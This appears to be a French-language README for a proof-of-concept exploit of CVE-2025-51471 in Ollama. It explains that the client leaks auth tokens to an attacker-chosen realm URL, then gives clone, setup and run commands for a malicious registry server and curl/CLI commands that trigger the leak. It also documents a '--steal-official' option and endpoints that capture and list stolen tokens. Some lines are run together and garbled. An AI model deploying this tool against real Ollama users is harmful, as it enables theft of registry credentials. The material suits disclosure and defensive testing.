
Ce PoC est uniquement destiné à des fins éducatives et de test de sécurité autorisé. NE PAS l'utiliser sur des systèmes que vous ne possédez pas.
Auteur : ajtazer
Ce dépôt contient une preuve de concept (PoC) pour CVE-2025-51471, une vulnérabilité d'exposition de token d'authentification cross-domaine qui affecte toutes les versions d'Ollama (y compris la plus récente).
Lorsqu'Ollama télécharge un modèle depuis un serveur HTTPS qui répond avec 401 Unauthorized, il suit l'URL realm de l'en-tête WWW-Authenticate sans vérifier qu'elle appartient au même domaine[...]
Cela permet à un attaquant de :
401 avec un en-tête WWW-Authenticate pointant vers un point de terminaison contrôlé par l'attaquantregistry.ollama.aipip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model
J'ai démontré ce PoC dans une courte vidéo — regardez-la ici :
Remarque (mode HTTPS macOS) : Si vous utilisez le mode HTTPS, ajoutez le certificat généré à votre trousseau ou utilisez le mode HTTP avec
--no-ssl.
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
Options:
--port, -p PORT Port to listen on (default: 8080)
--no-ssl Use HTTP instead of HTTPS
--steal-official, -s Redirect to steal registry.ollama.ai tokens
--no-verbose Disable verbose output
| Endpoint | Description |
|---|---|
/v2/* | Point de terminaison de registre factice (déclenche l'exploit) |
/v2/token | Point de terminaison de capture de token |
/tokens | Voir tous les tokens capturés (JSON) |
/health | Vérification de l'état du serveur |
Ce PoC est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas.
Fabriqué avec ❤️ en utilisant Antigravity